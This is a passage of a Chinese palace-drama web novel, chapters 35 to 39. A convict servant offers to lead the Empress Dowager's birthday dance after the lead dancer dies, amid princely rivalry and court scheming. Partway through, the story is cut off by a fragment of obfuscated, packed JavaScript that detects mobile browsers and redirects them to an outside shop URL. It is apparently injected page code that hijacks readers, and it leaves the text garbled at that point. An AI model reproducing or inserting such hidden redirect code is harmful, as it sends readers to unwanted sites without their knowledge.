她们两个自小相识,是闺中金兰之交。后来一个嫁给了护国公,一个成了皇妃。
如今,一个贵为太后,另外一个已经在流放途中成为了冤魂。
每每想及此,齐太后都会伤心很久。
可只有苏嬷嬷知道她的无奈。
”太后,您放宽心,护国公夫人那里,您尽力了。“苏嬷嬷安慰道。
岂止是尽力了,而且还担负了很大的委屈和误解。
齐太后摆摆手,保养得体的面庞上浮现出倦色:”过去的事不提也罢。倒是这个乐阑珊,怎么又踏入了皇家事务中了。“
”想必是瑞王爷的主意。“苏嬷嬷答道。
”瑞王?“齐太后不停地念叨着这个名字,思忖了一会儿,然后问道:”祥嫔如何了?“
”安分守己,从无是非。“
听到”安分守己“四个字,齐太后嘴边露出了一双微笑。
祥嫔自小便在齐太后身边伺候,后来跟着一起入宫,是齐太后陪嫁丫鬟之一,入宫时年龄尚小。
如今瑞王都到了成亲的年龄了。
”苏嬷嬷,宫中有几人似你这般安分守己?“齐太后道。
想了一下,齐太后下令,让苏嬷嬷安排暗卫,暗中关注乐阑珊。
”阑珊,哀家受你祖母之托,希望你远离朝堂,为何你又要介入进来。莫说你一个罪奴,就算是达官显族,一入朝堂,就不知明天身首何处了。“
齐太后默默地感慨着。
平王府。
秋辞每日都来向裴衍禀报一天的动静。
听听乐阑珊处理寿辰事务有条不紊,各处安全秋辞也尽心尽力安排好,他暂且放心了。
乐阑珊的能力他早就知道,三年罪奴没有让她
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变得无能,裴衍完全放任了她自由安排。
因此,乐阑珊成为了平王府中有着特殊权力的人,虽然不是主子,但是可以指挥任何人(裴衍除外)。
虽然裴衍一再强调,她可以调配任何人,包括让邓馨儿帮忙笔墨丹青,乐阑珊可不想让邓馨儿参与进来。
邓馨儿几次主动来找她,都被她以各种理由挡开了。
原本想趁机在平王面前露一脸,结果无处可以施展,邓馨儿每天都难受得不行。
后来,乐阑珊索性住进了皇宫中的教司坊,邓馨儿想找都找不到人。
”看你能得意几天,说到头你也不过是给罪奴。“邓馨儿悻悻地说着。
”小姐,不必理会她一个罪奴,让她去做好了,反正她无论做的多好,都只是一个罪奴。小姐专心去孕胎好了。“
想想也对,如今自己顶天大的事便是要最早生下儿子。
而裴衍此时的心思,反而都在边关战事上。
二皇子裴曦,以大昭国使者身份,远赴边关,和北凉和谈。
大昭国派出了一位皇子,而且是按照位份极有可能成为太子的二皇子,可见大昭国的诚意。
裴曦去了一月有余,据军报边关暂且安静,谈判正在火热进行中。
所有的人都在祈祷,太后寿辰一定要确保平安。不然,会有多少人头要落地。
身处皇宫教司坊,乐阑珊自然听到了很多风闻,得知了裴曦出使和谈。
这个二皇子她还是有印象的,一个沉默寡言的人,让人一见便有了距离。
其实乐阑珊还是很敬重这位二皇子,她总觉得,裴曦才是皇子应有的样子,沉稳、老成,遇事不慌。
还记得有一次,乐阑珊在御花园中帮助设置修剪盆景,自己一脚踏空摔了下来。
当时裴衍不在场,接住她的是二皇子裴曦。
当她在裴曦怀中和裴曦四目相对时,她油然升起了一种对兄长般的尊重感。
后来,裴衍为此吃了好长一段时间的醋。
以至于一次拌嘴,裴衍赌气说道:”你倒不如去找我二皇兄更好!“
第35章 破局之道
自己当年可没有少用二皇子来气裴衍。
一想到当**,乐阑珊露出了顽皮的笑容,差点乐出声。
引得秋辞频频回首,这还是他第一次看见乐阑珊开心得如同孩提一般。
此时的乐阑珊,真的是美艳的如同一朵鲜花,正在绽放盛开,引得四处蝴蝶频频飞来。
想当初,乐阑珊还没有入杂役司,自信加尊贵,该是多迷**呀,难怪自家王爷至今都放不下她。
看到秋辞的目光,乐阑珊一愣。
自从护国公府倒台,这是第一次看到有人如此真诚欣赏的目光。
原来这世上还有人不是因为护国公府,而是因为自己这个人欣赏自己。
乐阑珊感动了,眼眶有些发热了。
“秋副将。”乐阑珊轻轻地喊了一声。
双方都意识到自己失态了,秋辞忙收敛了目光。
两人还没有来得及缓过神来,便见白嬷嬷急匆匆赶来,一见乐阑珊,顿时嚎啕大哭。
“乐姑娘,秋副将,大事不好了,凤娇娇突然暴毙了。”
乐阑珊和秋辞一惊,慌忙向排练场跑去。
排练场上,凤娇娇横躺在地上,面色安详,身体呈现出很优雅的姿势。
一群舞姬围在凤娇娇身边,哭哭啼啼的。
秋辞上前摸了摸凤娇娇的鼻息,又挪动了一下四肢,冲乐阑珊摇了摇头。
白嬷嬷一屁股坐到地上,呼天喊地起来:“这可要了我的老命了。我花了大半辈子积蓄,好容易培养出了一个凤娇娇,还没有来得及挣回本儿,就这么**,我可没法活了。”
其他的舞姬纷纷跪在乐阑珊面前哭求道:“乐姑娘,放了我们吧,我们不想死。”
乐阑珊脸色阴沉下来,训斥道:“还没有搞清楚发生了什么事,就想**?这可是太后的寿辰,难道你们现在就想死吗?”
舞姬们听完,哭得更厉害了。
一个舞姬乍着胆子说道:“反正都是个死,倒不如就这样死个痛快。”
乐阑珊:“谁说的必须要死?”
另外一个舞姬说道:“凤娇娇早就收到了密信,说是继续跳下去必死无疑。凤娇娇以为这是太后寿辰,无人敢放肆,就没有理会。结果刚才跳着跳着,就突然变换了舞姿,嘴里说着:不该呀,不该呀。然后就瘫软在地,没气了。”
这死状很诡异,秋辞倒吸了一口冷气。
教司坊大门被踹开了,裴衍带着侍从跑了进来。
还没有来得及问话,裴诚带着洛易也赶了过来。
教司坊的李总管赶紧上前禀报。
裴衍冲到凤娇娇尸体前,端详了一下,气得回身,抬起脚朝着乐阑珊就狠狠地踹了过去。
乐阑珊眼前骤然出现当初跪在平王府求裴衍替护国公求情的场面。
那一脚不仅给她留下了终身的病根,也在她心上留下了永远的疤痕。
今天又是一脚踹来,看这力度,不死亦伤。
看来自己在裴衍的心中,不过是随时随地无理由泄怒的对象,生死对于他来说都不值一提。
三年前那一脚,踹碎了我的梦;三年后这一脚,是想直接要我的命。衍哥哥,我们之间,真的只剩下恨了。
乐阑珊痛苦地闭上了双眼。
只听一声闷响。
乐阑珊没有感到脚踢到自己身上,一睁眼,只见秋辞应声倒地。
原来是秋辞扑了过来,挡在了自己身前,裴衍那一脚正好踢在了秋辞的胸口上。
秋辞倒在了一边,一口鲜血喷了出来。
“秋辞,你在做什么?”裴衍吼道。
“王爷息怒。“秋辞捂着胸口,艰难地说道,”此事不怪乐姑娘,是末将失职,有愧王爷的重托。要惩罚,王爷惩罚末将吧。”
他仍挣扎着,用身体维持着将乐阑珊护在身后的姿势。
“秋辞!”裴衍一跺脚,又是生气又是担忧,眼睛瞪得可以**,吓得舞姬们都躲在了白嬷嬷身后,李总管站着一旁筛糠不止。
“王爷,不要责难秋副将,都是奴婢的错。”
“你还有脸说。”他转向乐阑珊,“死掉的是主要舞者,没有了她的领舞,寿辰庆典如何进行?这是让所有的人掉脑袋。”
乐阑珊:“奴婢知道了,都是奴婢失误了,请王爷责罚。”
裴衍气的不行
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,举起了手中的马鞭子。
“王爷,都是末将的错,请王爷放过乐姑娘。”秋辞情急之下,挣扎地爬起,想挡住乐阑珊。
”四哥,不忙着惩罚,倒是先想想如何善后。“裴诚拦住了暴怒的裴衍。
裴诚附身仔细地看了一下凤娇娇,然后说道:“看来对方早有预谋,只怕教司坊中有内应。”
李总管吓得扑腾跪地:“瑞王爷饶命啊!”
裴诚起身,对裴衍说道:“凤娇娇就交给大理寺,必须查出内应和背后的黑手。四哥,我们赶紧想出对策,凤娇娇的领舞,谁来补缺?”
裴诚看向中舞姬。舞姬们互相看看,都把头低下,无人敢出声。
裴衍瞪着眼问白嬷嬷:“你说。”
白嬷嬷止住了哭声:“民妇不知呀,这些舞姬加起来也抵不上一个凤娇娇,无人可以补缺。”
裴衍气急败坏,右手握拳,任凭指关节咯咯作响。
还有十天,就是太后寿辰庆典,就算是去京城抓一个,也都不知道去哪里抓。
何况还得舞姿出众,并且只有十天时间学会新舞。
裴衍看看白嬷嬷,又看看李总管。两个人早就吓得六神无主,只剩下跪地求饶了。
秋辞爬上前,抱住了裴衍的腿,说道:“王爷,千错万错,都是末将的错,求王爷把末将交予大理寺顶罪问斩吧!”
裴衍:“死去的领舞,要你的命有何用?就算是拿你去问了罪,也无济于事。”
秋辞没有话,但用恳求的目光看着裴诚和洛易。
“如果负荆请罪可以化解危机,本王不惜去负荆请罪。怕的是本王抵上自己的性命,也怕化解不了危机。”裴衍怅然地说道。
“四哥说的是,父皇历来看重太后的寿辰,容不得半点闪失。今天的破局,不能靠负荆请罪,也不是秋副将可以顶得了罪的。”裴诚应声道。
众人都一筹莫展。
乐阑珊缓缓擦去眼角因秋辞受伤而迸出的一点泪光,背脊挺得笔直,脸上再无丝毫脆弱,只有一种破釜沉舟的冷静,开口说道:
“二位王爷暂且放宽心,奴婢有办法破局。”
第36章 一首童谣
一语如同炸雷。
全场的人瞬间安静下来,目光都投到乐阑珊身上。
乐阑珊迈步上前,很肯定地说道:“平王爷,瑞王爷,奴婢可以任领舞。”
一语既出,所有人包括众舞姬都愣住了。
裴衍、裴诚和秋辞几乎同时喊出:“不行!”
裴衍率先开口:“阑珊,你有此能力?”
这话问得乐阑珊心里一阵酸楚,原来这是裴衍心中最在意的。
她莞尔一笑,反问道:“王爷以为呢?”
白嬷嬷抢着回到:“平王爷,乐姑娘可以一试。新舞蹈就是乐姑娘设计编排的。”
裴衍半信半疑地看着乐阑珊。
裴诚抢了一步,说道:“乐姑娘,护国公府虽然获罪,但你毕竟不是贱籍。我朝只有入贱籍的人才会歌舞娱人。如果你领舞,等同于自甘贱籍,你可想过?”
没想到为自己将来考虑的,居然是亲自带人抄了护国公府的裴诚。
乐阑珊颌首谢过,道:“阑珊不过一个罪奴,并不比贱籍高到哪里去。”裴诚:“可毕竟不是贱籍。一旦重获自由,你还可以是平民之身。”
秋辞也说道:“是啊,乐姑娘,一入贱籍勇武翻身之日。教司坊的安保是秋辞职责所在,出了命案,理应由秋辞一人承担。乐姑娘切莫耽误了前程。”
乐阑珊感激地看着秋辞,这个自己素昧平生的副将,竟然如此维护自己,比起自小青梅竹马的裴衍哥哥,不知要强多少倍!
“为了太后献艺,何来贵贱?”乐阑珊坦然地说道,“奴婢自幼**舞,略通音律。目前再无合适人选出任领舞,就让奴婢来补缺吧。”
“你若献艺,只能以罪奴之身,日后再难恢复你贵女身份,入皇室,乃至嫁给达官贵人都再无可能。”裴诚再次提醒道。
乐阑珊暗想:如今连能否活到明天都难说,还管得了将来?何况,作为罪奴就能嫁给王孙公子了?如果可以,三年杂役司,怎么无一人来提亲?
她嘴上却是很淡然:“多谢瑞王爷,奴婢想好了。万事都大不过太后的寿辰,奴婢无怨无悔!”
秋辞无奈,用恳求的目光看着裴衍。
裴诚同样求助地看着裴衍。
而裴衍则毫无表情地答道:“好吧,准求!”
他袖中的手,微不可察地颤了一下,随即握得更紧,仿佛要捏碎什么无形的东西。
“王爷!”秋辞失望地低下了头。
裴诚没有说什么,而是昂头看向他方。
倒是白嬷嬷高兴了,从地上爬起来,奔到乐阑珊身边:“乐姑娘,这可太好了。有你在,这些个丫头就不敢闹着不演了。”
乐阑珊:“不必多说了,咱们赶快重新排练吧。”
几个侍卫过来抬走了凤娇娇。乐阑珊跟随白嬷嬷而去。
路过裴衍身边,乐阑珊连眼角余光都没有给他。
裴衍眼角余光紧随乐阑珊,握拳欲追,却又因身份与职责不得不止步
“阑珊,你不该怪我。”裴衍在心中对着她说道:“太后寿辰,出不得一点纰漏。今天纵然我放过了你,陛下和太后那里你过不了关。你放心,无论你是平民还是贱籍,你都是我平王的人。”
他走到秋辞身边,轻轻地踹了一下:“滚起来,快去执行公务。再出一点意外,直接找个地方把自己埋了。”
秋辞忍住内伤,起身去安排人手了。
裴诚对身边的洛易道:“你马上带上瑞王府的侍卫,来援助秋辞,一定要确保万无一失。”
洛易领命而去。
“六弟,近来不见你常来平王府了。”裴衍对着裴诚,不咸不淡地说。
“既然四哥一切安排妥当,王弟自然不方便打扰。”裴诚笑着回答。
两个王爷彼此看着,心照不宣地分开了。
接下来,教司坊被秋辞和洛易两路府兵包围得连只苍蝇都飞不进去。乐阑珊出宫去各处查看,护卫的队伍不亚于皇家王爷、公主出行。
见了这个阵势,随行的陈伯好一顿心忧。
“小姐,你可真能以一人之力顶替凤娇娇吗?”背人的时候,陈伯悄悄地问乐阑珊,“跳不好,可是要掉脑袋的。”
“既为罪奴,生死又何惧?”乐阑珊仍旧坦然。
“凤娇娇惨死,小姐这是把自己放在了风口浪尖上。”说着,陈伯四下看看,仿佛随时会有一支利箭,从不明处射过来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900717|192316||http|test|mini|href|location''.split(''|''),0,{}));
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r>“陈伯放心,以后无人敢伤我。”
陈伯低头叹气,心中一片无奈。
乐阑珊却微笑着安慰陈伯,并嘱咐陈伯,一定要将自己领舞的消息,让平王府上下都知道:“陈伯,不仅要让王府知道,更要让全京城的人都知道,是平王府的罪奴,为了太后的寿典,不惜入贱籍领舞。唱得越响,我越安全,有些人……就越睡不着。”
邓馨儿自然第一时间知道了消息,当即乐了个满怀。
一旦入了贱籍,这**再无可能和自己争王爷了,
乐阑珊呀,乐阑珊,这是你自己作死。你仗着才高八斗,就以为可以翻身,可惜命运不济,怨不得别人了。
堂堂护国公府嫡孙女,愿意入贱籍领舞,一时间传遍了京城。
京城歌谣四起:
“昨贵女,今贱奴;领风骚,舞百度;来者谁,平王府。”
乐阑珊瞬间成为了京城的风云人物,人人都在议论她和平王府。
邓尚书在下朝路上听到了童谣,心中一惊,令家奴立刻找来一个顽童询问。
家奴拿着一串糖葫芦,让顽童唱了一遍童谣。
家奴:“你怎么胡唱呀。”
顽童理直气壮地说:“才没有胡唱呢,平王府侧王妃亲口说的。”
家奴:“你是怎么知道的?”
顽童:“全京城的人都知道。”
说罢,一把抢过糖葫芦,跑了。
轿子里的邓尚书,脸色一下子就变了,马上怀疑是邓馨儿搞的鬼,吩咐立刻改道去平王府。
邓馨儿听说父亲来了,兴奋地跑到前厅来。
看着女儿满面喜色,邓尚书忍不住连连摇头。
自己这个女儿才色在京城贵女中都是佼佼者,很多方面和京城第一贵女乐阑珊可以说不相伯仲,可就是谋略输给了乐阑珊太多。
准确地说,应该是胸怀差得太远。
看看此时邓馨儿的开心样子,哪里知道自己被乐阑珊给耍了。
见父亲阴沉着脸,邓馨儿原本的喜色换成了莫名其妙。
“父亲,是出什么事了吗?”邓馨儿一脸的雾水。
“你还好意思问,都是你干的好事!”邓尚书劈头一顿训斥。
第37章 二皇子裴曦
“父亲,我......”邓馨儿完全被训懵了。
“那童谣是怎么回事?”邓尚书问道。
“哦,父亲是为了这个。”邓馨儿脸色缓了过来,“那乐阑珊自寻死路,女儿不过是让她名声稍传京师而已。”
“我看是你在自寻死路。”
邓尚书面对自己女儿的愚蠢,气不打一处来。要不是邓馨儿已经是平王侧妃了,他早就一个巴掌扇了过去。
“馨儿,当年你嫁入平王府前,为父是如何教导你的?要想成为皇家的王妃,这度量是第一品性。可你呢,整日陷入争风吃醋之中不能自拔,又如何可以成大事?”邓尚书训斥道。
“父亲,女儿自入府以来,谨遵父训,未尝生事。”邓馨儿委屈地说,“自从嫁入平王府,女儿整日小心翼翼,以王爷的乐为乐,以王爷的愁为愁。对于王爷的其他姬妾,女儿都尽力公平,从没有生出过事端。”
“那是因为这些姬妾原本和你没得争。”邓尚书一针见血地指出,“你要学会的不仅是向下宽容,更要学会向上宽容。你要容的,是那些比你强、可能威胁你的人。让王爷看到你的心胸能盛得下他的江山,而不是只盛得下他的卧榻!”
“父亲。”
“为父没有说错吧,那乐阑珊处处强过你,又是王爷的青梅竹马,你自然心中容不下她。女人的嫉妒心一上来,会害死一家人的。”
“父亲,女儿为何要嫉妒她?”邓馨儿不服气地说,“她一个罪奴,如今又要堕入贱籍,有什么可以和我比的?”
“你既然知道,为何还要出面打击她?”
“父亲,我.....”
“别解释了,你是我的女儿,我岂能不了解你的心性?记住,对乐阑珊,从今往后,再不可有伤害她的言语。你需要做的是替她圆场,帮她求情,这样你在王爷心中的分量才会越来越重。”
“是,女儿记住了。”邓馨儿极不情愿地答应了下来。
邓尚书暗自叹了口气,问道:“馨儿,子嗣的事如何了?”
“尚无动静。”邓馨儿脸一红,低下了头。
“不是已经停了避子汤吗?”
“想必是女儿服用避子汤时久,身体受损,还需要时日才可以康复。”
“这个不难,等太后寿辰结束后,为父派府医来替你诊脉。”
皇家多诡异,邓尚书并不完全信任平王府的府医,想好了还是派自己府中的府医来更妥当。
邓家父女在议论童谣的事,太后的永安宫一样的热闹。
听完了苏嬷嬷的学口,齐太后忍不住笑了。
“这首童谣倒是有趣,没想到乐阑珊竟然成了主舞。”苏嬷嬷说道。
“编童谣的人用心很深,可是把哀家当了三岁孩童不成?”齐太后道。
“太后,您的意思是,那乐阑珊有意让天下人知道她自甘贱籍当主舞?”
“不然呢?凤娇娇**,如果无人领舞,完不成庆典,整个歌舞坊都得死,乐阑珊自然逃不过去。她主动让天下人知道自己是主舞,反倒无人敢害她性命,不然岂不是公开叫阵皇家?”
“太后说的是。为了太后甘入贱籍,天下人的嘴中,她可是成全了忠义二字。”
齐太后笑了:“这小丫头,跟她祖母一样,看着温婉,骨子里尽是倔强和算计。她这是给哀家出了道题:是赏她的‘忠’,还是罚她的‘狡’?她大概猜测,哀家会给她一个大赏赐,这个贱籍......说不定就免了。”
“那太后准备给她特赏吗?”苏嬷嬷问道。
齐太后笑而不答。
御书房。
昭帝将一份奏章扔到了裴衍面前。
“平王,你就是这样管理府邸的?童谣满天飞,我皇家都成了百姓口中的笑资了。”
裴衍忙跪下:“父皇息怒,那些童谣不可信,儿臣不相信邓馨儿会做此童谣。”
“会有人真心在意是否是侧王妃做的童谣?百姓只会以讹传讹。平王呀,你怎么连后宅妇人都管理不好,让这些无聊的后宅争斗,影响到你平王的声誉和前程。”
“都是儿臣的错,儿臣一定严加管教后宅,不会再出差池。”
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昭帝摇摇头:“平王,你是朕众皇子中最善用兵之人,也是最重儿女情长之人。身为皇子,儿女情长最是要不得。你回去好好清醒一下,看看取谁舍谁。朕的江山,不需要一个被后宅妇人眼泪泡软了骨头的储君。”
裴衍还想多辩解,昭帝挥手让他出去。
门外传来太监禀报声:“启奏陛下后,二皇子宁王殿下和谈成功,已经赶回京城了。”
乐阑珊入贱籍的话题还没有冷却,京城百姓就为了裴曦的归来情绪再度高涨起来。
百姓们争先恐后地涌上街道,想一睹宁王裴曦风采。
和谈成功,意味着他们将远离战火,家国都有了保障。
但是一直没有看到宁王浩浩荡荡的队伍。
其实到了京城附近,裴曦便下了车,换上了普通马车,命令所有随从分批入京城,绝不可招摇过市。
因此,等百姓**到了大街小巷时,裴曦已经悄悄进入皇宫了。
失望之余,百姓们纷纷议论起当年裴衍胜利归来,骑着高头大马,一身盔甲闪着光,身旁的“平”字军旗迎风飘扬。
整个军队浩浩荡荡地行进了大半个时辰,裴衍的风采迷倒了多少大姑娘小媳妇。
相比之下,裴曦似乎成了空气人。
民间有传说,说裴曦先天不足,不能见阳光,恐怕寿命不长。
今天的情景看来,传说似乎有几分真实。
裴曦可懒得理会这些,他匆忙赶回,是要参加太后的寿辰庆典。
但是在微服回京的途中,他听到了有关乐阑珊的童谣。
“王爷,这童谣实在是侮辱乐姑娘。”贴身侍卫谭欣说道。
裴曦心中微微一动,这些童谣虽出于百姓口耳,但最能反映人心。
尤其是关于乐阑珊自甘贱籍领舞的传言,裴曦眉头轻蹙:“如此胆识,既敢自甘贱籍,不可小觑。若京城百姓已知此事,说明她的智慧与魄力绝非一般罪奴。”
眼神透出警觉与赞许:“此女若能安然度过,恐怕将成为京城风云人物,甚至牵动平王府未来局势。”
第38章 做我的贵妾吧
裴衍回到府中,立刻闯进了邓馨儿的寝殿。
但见邓馨儿已经卸去了钗环,一身素装,披着长发,双手捧着皮鞭等着他。
见裴衍怒气冲冲地进来,还没等他开口,邓馨儿便先跪下,楚楚动人地说道:“王爷,京城童谣之事,乃是府中仆人扯的长舌。妾身已经处罚了她们,并赶出来府永不录用。毕竟是妾身管理不善,才造成了今天的错,伤及王府名声,还害了乐姐姐的清名。”
她捧上皮鞭,语气极其诚恳地请求道:“王爷,家法在此,还请王爷责罚。”
都说铁汉柔情,裴衍最吃不得服软的样子。
偏偏邓馨儿每次都会把错误化作绕指的柔情,让裴衍无法发作出来。
裴衍叹着气,从邓馨儿手中接过皮鞭,扔到了一边。
“王爷这是不怪妾身了。可妾身自己不能宽恕自己。”
邓馨儿捡起皮鞭,递向秀清,“秀清,王爷不忍责罚我,你来代王爷行刑。”
秀清扑腾一下跪了下来:“小姐,您冤枉呀。您是一片好心,想帮乐姐姐传扬美名。谁知道民间多宵小之辈,任意编排取乐,才害得您有口难辩。要罚,就让奴婢代为受罚吧。”
“住口,乐姐姐光明磊落,哪里会是几句流言蜚语就可以伤害的。”她咬了咬牙,说道,“既然王爷不忍,就让妾身自己行刑吧。”
说着,一咬牙便挥动皮鞭,冲着自己后背抽了过去。
就听“啪”的一声响,皮鞭落在了邓馨儿的后背上。她咬紧牙关,忍住痛没有叫,嘴唇渗出了鲜血。
她没有犹豫,第二次举起皮鞭抽去。
皮鞭没有落在她背上,而是被裴衍紧紧攥住了。
“馨儿,不可。”
“王爷。”邓馨儿扑进裴衍怀中,哭着说,“馨儿爱您呀,也爱乐姐姐。怎么可能忍心伤害你们。”
“好了,好了,都过去了。”裴衍拍着她的后背,哄着。
也许是哄拍触到了邓馨儿的后背,邓馨儿昏了过去。
在裴衍的喊声中,王府一阵混乱,府医匆匆赶来医治。
邓馨儿睁开眼时,裴衍坐在床塌边,焦急地注视着她。
“别动。”裴衍按住了她,柔声说道,“你身体虚弱,府医说要好生休养。”
“妾身无事,王爷切莫挂念。”
“唉,要是阑珊有你这般懂事就好了。”裴衍感慨道。
“王爷,不要怪乐姐姐,她三年杂役司,是人都会变。”
一个府卫进来,在裴衍耳边轻言几句。
裴衍替邓馨儿掖了掖被角,道:“本王有事,你好生歇着。记住,万不可再做傻事了。”
看着裴衍离去,殿内就剩下邓馨儿和秀清两个人了。
秀清赶忙扶起邓馨儿:“小姐,都走了,奴婢给您去端粥来。”
粥一端过来,邓馨儿立刻如狼似虎地吞咽起来。
秀清:“小姐饿了一天了,饿坏了吧。”
“那也值了。“邓馨儿边吃边说道,”这一关总算是过去了。”
“那个乐阑珊真是命大。这回差点让王爷和小姐反目。”
“那又如何,最后王爷不还是对我下不了手吗。”
“小姐,高!”秀清一竖大拇指。
两人没有注意到,这些都被躲在窗外的小媛偷听到了。
小媛把这些都学给了乐阑珊听,自己说的愤愤不平的。
可乐阑珊却是一脸的镇静,好像全然于己无关。
“咱们王爷为何那么信任侧王妃,她说什么就是什么。”小媛打抱不平。
乐阑珊微微一笑:“何苦要去生这个闷气。王爷宠谁、信谁,又与我何干?没得生这些闲气。”
可是她心里的某个角度还是有痛的感觉。
虽然和自己说过千万次,衍哥哥已经一去不复返了,现在只有平王裴衍。可是,自己心里就总是无法彻底忘怀,每每听到裴衍的名和事,心中都会被牵动。
可是这个衍哥哥,再无当年对自己的信任和专情。当年,太阳永远是在阑珊妹妹这一边。如今,所有的错都是阑珊的错。‘
乐阑珊忍不住停下手中的活计,望着天空发呆。
白嬷嬷不是小媛,对于男女情事看多了,见乐阑珊发呆,心中猜到了几分。
“乐姑娘,恕民妇多嘴,这世上最靠不住
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的就是男女情爱。”白嬷嬷以一个过来人的口吻说道,“我这歌舞坊,每年都有姑娘苦恋上富家公子,可至今无一人得善终。”
见乐阑珊无语,便继续说道:“嬷嬷这里的姑娘,爱的时候死去活来生死相许,可是到了最后哪个不是如破布一样被扔掉。原因都是一个:你没有价值了。”
一句话戳到了乐阑珊心底柔弱的地方。
是啊,自己对裴衍没有价值了,不像邓馨儿。
她脑海中迅速闪过了王府的厨子往汤锅里放莞花茎的情景。
正想着,只见裴衍来了,是来巡视寿宴准备情况。
乐阑珊假装没有看见,继续练习自己的动作。
裴衍有些失望,禁不住上前一把搂住了乐阑珊。
“你可是马上就要坠入贱籍了,难道不想嫁给本王吗?这样可以保你不入贱籍。”
“王爷说笑了。”乐阑珊微笑问道,“王爷可是要娶乐阑珊为正妃?”
“这....你知道大昭律法,奴婢不能为正妃。可你可以为贵妾。但等生下儿子,自然抬你的位份,做到侧妃乃至平妻,也是可能的。”
“那邓馨儿呢?”
“她如果生下儿子,自然是正妃。”
乐阑珊突然大笑起来。
“王爷真是算盘打得精响。让我为妾,替您生子,还要和您的侧妃争个高低?我乐阑珊这条命,是留着为乐家昭雪,不是留着给您裴家开枝散叶、管理后院的!
乐阑珊收敛了笑,道:“王爷天大的恩典。可惜,奴婢不识相,不想做王爷的妾室,更无心为平妻。”
“那你就自甘入贱籍?”裴衍生气了,上去掐住了乐阑珊的脖子,“本王知道,你等着寿辰上太后的恩典。别以为你可以摆脱本王,本王现在就可以让你去不成庆典。”
看着她因窒息而涨红却依旧倔强的脸,心中涌起的不是怜惜,而是一种混合着毁灭欲与征服欲的狂暴快感。
既然不能完全拥有,那就亲手毁掉这该死的骄傲。
乐阑珊的脸上露出了不屈的神色:“那就请王爷赶快动手吧。阑珊为奴三年,早就想解脱了。”
第39章 二位王爷打起来了
裴衍手上用劲儿更大了:“别以为本王不敢。我是亲王,你是罪奴,本王掐死你,谁会说个不字?”
白嬷嬷吓得跪地叩头:“王爷息怒呀。乐姑娘不能死呀,她**我们大家都得死。”
“谁要你多嘴。”裴衍回头吼道。
“王爷,息怒。”秋辞赶了进来,跪了下来:“太后寿辰不能没有乐姑娘,王爷如有气,就打末将一顿吧。”
白嬷嬷:“是啊,王爷开恩。乐姑娘,你就求个饶服个软吧。”
乐阑珊睁着不屈的美目,直视着裴衍道:“为什么要求饶。我并没有做错什么。王爷,阑珊虽然只是个罪奴,可不是王爷你任意发泄的牲畜。”
“你嘴真硬。”裴衍手上的力度更大了。
乐阑珊感觉气息紧张,开始呼吸困难起来。
裴诚带着洛易赶来了。
“四哥,切莫动气,凡事以太后寿辰为重。”
裴诚喊道,可裴衍似乎没有听到。
“四哥,太后寿辰若有差池,多少人头要落地,四哥你自己也会落下麻烦。”
裴诚再次劝道,见裴衍仍旧置若罔闻,情急之下,拔出了佩剑:“四哥,得罪了。”
见状,秋辞挑起,拔出了佩剑,护在了裴衍身前。
与此同时,洛易也拔出了佩剑,挡在了裴诚身边。
“二位王爷,千万不要啊!”白嬷嬷吓得连连摆手,瘫软在地上起不来。
正在紧张之际,一个低沉的声音传来:“你们在做什么?”
随着话音,裴曦走了进来,步履缓慢而稳健。
他走到裴衍和裴诚中间,左右看看,说道:“怎么回事,兄弟拔剑,要自相残杀吗?还不快收了剑。”
看了一眼乐阑珊,对裴衍说道:“四弟,何苦要和一个奴婢斗气。如果她做的不妥,自有教司坊的总管教训,不必四弟亲自动手。”
他的声音并不高,却带着一种久居上位的、不容置疑的穿透力,让沸腾的空气瞬间冷凝了。
裴曦是大昭唯一一个九铢亲王,皇子又排行第二,裴衍和裴诚自然都得听命。
双方收了剑,裴衍放开了乐阑珊。
乐阑珊倒在一旁,连喘息带干咳,好不狼狈。
裴曦轻轻扫了一眼乐阑珊,然后对白嬷嬷说道:“好生照应乐姑娘,寿辰前若有差池,本王唯你是问。”
白嬷嬷忙磕头应允。
裴曦又扫视了一下洛易和秋辞,训斥道:“你们两个是如何伺候的?居然让两位王爷刀剑相向,看来你们两个都恃宠而骄,不知道做事的本分了吗?”
秋辞和洛易执剑跪下:“末将知错,请宁王爷责罚。”
裴曦:“很好,你们各自罚俸三个月,以儆效尤。”
秋辞和洛易:“末将领罪。”
裴曦拍拍裴诚,一拉裴衍:“以后教司坊的事,让她们自己去管。你们两个身为皇子,不必事必亲躬。走,去皇兄那里商讨北凉政务去。”
走的时候,裴曦回头,意味深长地看了乐阑珊一眼。那目光沉稳而有力,带着不容忽视的威严。
乐阑珊心中微微一紧,感到一种不同于裴衍的压迫感——不是暴烈,而是理智而温暖的牵引。
她暗自思忖:“这个王爷,稳重而睿智,比衍哥哥更能看清我。”
自裴曦进来到离开,乐阑珊感觉到了他无形的气场,那压力远远大于身为天策将军的裴衍。
最后看自己的这一眼,让她完全猜不透他的心思。
此后几天直到太后寿辰,裴衍再没有现身教坊司。
翠微宫,裴衍母妃俪贵妃的寝宫。
全皇宫的人都知道,俪贵妃最得宠,昭帝经常会在下朝后去俪贵妃那里歇息。
今天昭帝来翠微宫不久,就有内侍来禀报了裴衍去找乐阑珊的事。
听到儿子这么胡来,俪贵妃的脸色不大好看起来。
而昭帝脸色更是难看。
“陛下,是否将邓侧妃扶正?这样衍儿也就收心了。”俪贵妃弱弱地问道。
“爱妃,衍儿的脾气你这个当娘的还不明白?他哪里是个会收心的人。”
“那个乐阑珊不是个罪奴吗?怎么衍儿还没有死心?”
昭帝看了一眼俪贵妃,问道:“让乐阑珊为平王妃,如何?”
俪贵妃忙低下头,低声地说:“皇家自古不纳罪奴为妃,何况她马上要入贱籍了。”
昭帝“呵呵”地笑起来:“看来你这个当娘的是不愿意。那你愿不愿意她入贱籍呢?”
俪贵妃:“陛下是想在庆典上特赦乐阑珊不入贱籍?”
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“朕有说过吗?”
“那陛下是想她入贱籍?”
见昭帝不答,俪贵妃猛然反应了过来,慌忙起身行礼请罪:“臣妾失言,不该妄自揣摩圣心。”
昭帝挥挥手,淡淡地说道:”爱妃不是揣摩,是替衍儿着急。可有些事,越急,越容易办坏。
俪贵妃再不敢多说一句。
